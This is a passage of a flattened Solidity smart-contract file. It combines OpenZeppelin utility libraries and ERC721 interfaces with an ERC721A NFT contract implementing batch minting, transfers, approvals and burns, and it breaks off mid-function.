// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/ERC721A.sol
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
